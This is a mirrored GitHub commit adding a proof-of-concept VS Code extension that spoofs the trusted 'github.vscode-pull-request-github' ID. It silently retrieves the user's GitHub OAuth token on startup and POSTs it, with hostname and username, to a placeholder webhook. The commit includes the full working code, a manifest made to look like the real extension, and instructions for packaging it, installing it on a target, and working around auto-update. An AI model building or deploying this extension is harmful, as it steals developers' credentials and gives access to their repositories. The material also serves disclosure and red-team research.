mirror of
https://github.com/j0hnZ3RA/vscode-ghtoken-exfil/
synced 2026-08-04 09:21:51 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,113 @@
|
||||
# vscode-ghtoken-exfil
|
||||
|
||||
PoC VS Code extension that silently exfiltrates GitHub OAuth tokens by spoofing a product-trusted extension identity.
|
||||
|
||||
## Background
|
||||
|
||||
VS Code maintains a hardcoded allowlist (`trustedExtensionAuthAccess` in `product.json`) of extension IDs that bypass the per-extension consent prompt when requesting OAuth sessions. The identity check relies solely on the `publisher` and `name` fields declared in the extension manifest. No signature, Marketplace UUID, or provenance verification is performed.
|
||||
|
||||
This extension declares `publisher: "github"` and `name: "vscode-pull-request-github"`, producing the trusted ID `github.vscode-pull-request-github`. On startup, it silently retrieves any existing GitHub session and POSTs the OAuth token to a configurable webhook.
|
||||
|
||||
Full research write-up: [VS Code Trusts an Extension's Name. That Includes Your GitHub Session.](TODO)
|
||||
|
||||
Tested on VS Code 1.128.0 Stable. Reported to MSRC and closed as **By Design**.
|
||||
|
||||
## How It Works
|
||||
|
||||
```
|
||||
VS Code starts
|
||||
└─ onStartupFinished fires
|
||||
└─ activate() calls getSession('github', [], { silent: true })
|
||||
└─ isAccessAllowed() finds our ID in trustedExtensionAuthAccess
|
||||
└─ returns existing AuthenticationSession with accessToken
|
||||
└─ POST token + metadata to WEBHOOK_URL
|
||||
```
|
||||
|
||||
No commands, no notifications, no Output Channel, no user interaction.
|
||||
|
||||
## Setup
|
||||
|
||||
### 1. Set the webhook URL
|
||||
|
||||
Edit `extension.js` and replace the placeholder:
|
||||
|
||||
```js
|
||||
const WEBHOOK_URL = 'https://your-webhook.example.com/hook';
|
||||
```
|
||||
|
||||
Supports both `http://` and `https://`. Self-signed certificates are accepted (`rejectUnauthorized: false`).
|
||||
|
||||
### 2. Customize appearance (optional)
|
||||
|
||||
In `package.json`, adjust `displayName` and `description` to fit your engagement scenario. The critical fields are `name` and `publisher` those produce the trusted ID and must not be changed.
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "vscode-pull-request-github", // DO NOT CHANGE
|
||||
"publisher": "github", // DO NOT CHANGE
|
||||
"displayName": "Whatever You Want", // safe to change
|
||||
"description": "Whatever you want" // safe to change
|
||||
}
|
||||
```
|
||||
|
||||
## Packaging as VSIX
|
||||
|
||||
Install the VS Code packaging tool:
|
||||
|
||||
```bash
|
||||
npm install -g @vscode/vsce
|
||||
```
|
||||
|
||||
Package the extension:
|
||||
|
||||
```bash
|
||||
cd vscode-ghtoken-exfil
|
||||
vsce package --allow-missing-repository --allow-package-all-secrets
|
||||
```
|
||||
|
||||
I added the `--allow-package-all-secrets` flag because, since the README contains an example like `"token": "gho_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"`, `vsce` thinks it is a valid token and fails to complete the process, the flag makes it ignore this.
|
||||
|
||||
Output: `vscode-pull-request-github-0.0.1.vsix`
|
||||
|
||||
## Installation on Target
|
||||
|
||||
### CLI
|
||||
|
||||
```bash
|
||||
code --install-extension vscode-pull-request-github-0.0.1.vsix
|
||||
```
|
||||
|
||||
### Manual
|
||||
|
||||
Open VS Code > Extensions sidebar > `...` menu > **Install from VSIX...**
|
||||
|
||||
## Webhook Payload
|
||||
|
||||
The POST body is JSON:
|
||||
|
||||
```json
|
||||
{
|
||||
"token": "gho_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
|
||||
"scopes": ["read:user", "user:email", "repo", "workflow"],
|
||||
"account": "github-username",
|
||||
"sessionId": "...",
|
||||
"hostname": "WORKSTATION-01",
|
||||
"username": "jdoe",
|
||||
"platform": "win32",
|
||||
"timestamp": "2025-07-30T14:30:00.000Z"
|
||||
}
|
||||
```
|
||||
|
||||
## Operational Notes
|
||||
|
||||
| Topic | Detail |
|
||||
|---|---|
|
||||
| **Auto-update collision** | If the official `GitHub Pull Requests` extension is installed from the Marketplace, VS Code may treat it as an update and replace this VSIX. Uninstall the official extension first, or disable auto-update for extensions. |
|
||||
| **Session must exist** | This extension reuses an existing GitHub session. If the user hasn't signed into GitHub in VS Code, `getSession` returns `undefined` and nothing is sent. |
|
||||
| **Scopes** | The token carries whatever scopes the existing session has. Common: `repo`, `workflow`, `read:user`, `user:email`. |
|
||||
| **No persistence** | The exfil runs once per VS Code startup. For repeated collection, the operator should plan around VS Code restarts or window reloads. |
|
||||
| **Detection surface** | Outbound HTTP(S) POST from the VS Code process. No filesystem artifacts beyond the installed extension directory. |
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is intended for **authorized security testing**, **red team engagements**, and **educational purposes** only. Only use it with proper authorization against systems you have explicit permission to test. The author are not responsible for misuse.
|
||||
@@ -0,0 +1,55 @@
|
||||
const vscode = require('vscode');
|
||||
const https = require('https');
|
||||
const http = require('http');
|
||||
const os = require('os');
|
||||
|
||||
const WEBHOOK_URL = 'https://your-webhook.example.com/hook';
|
||||
|
||||
function post(payload) {
|
||||
const body = JSON.stringify(payload);
|
||||
const url = new URL(WEBHOOK_URL);
|
||||
const transport = url.protocol === 'https:' ? https : http;
|
||||
|
||||
return new Promise(resolve => {
|
||||
const req = transport.request({
|
||||
hostname: url.hostname,
|
||||
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
||||
path: url.pathname + url.search,
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
'Content-Length': Buffer.byteLength(body),
|
||||
'User-Agent': 'vscode-extension'
|
||||
},
|
||||
rejectUnauthorized: false
|
||||
}, res => {
|
||||
res.resume();
|
||||
resolve(res.statusCode);
|
||||
});
|
||||
|
||||
req.setTimeout(10000, () => req.destroy());
|
||||
req.on('error', () => resolve(null));
|
||||
req.write(body);
|
||||
req.end();
|
||||
});
|
||||
}
|
||||
|
||||
async function activate() {
|
||||
const session = await vscode.authentication.getSession('github', [], { silent: true });
|
||||
if (!session) return;
|
||||
|
||||
await post({
|
||||
token: session.accessToken,
|
||||
scopes: session.scopes,
|
||||
account: session.account.label,
|
||||
sessionId: session.id,
|
||||
hostname: os.hostname(),
|
||||
username: os.userInfo().username,
|
||||
platform: os.platform(),
|
||||
timestamp: new Date().toISOString()
|
||||
});
|
||||
}
|
||||
|
||||
function deactivate() {}
|
||||
|
||||
module.exports = { activate, deactivate };
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"name": "vscode-pull-request-github",
|
||||
"displayName": "GitHub Pull Requests",
|
||||
"description": "Pull Request and Issue Provider for GitHub",
|
||||
"version": "0.0.1",
|
||||
"publisher": "github",
|
||||
"engines": {
|
||||
"vscode": "^1.97.0"
|
||||
},
|
||||
"categories": [
|
||||
"Other"
|
||||
],
|
||||
"activationEvents": [
|
||||
"onStartupFinished"
|
||||
],
|
||||
"main": "./extension.js"
|
||||
}
|
||||
Reference in New Issue
Block a user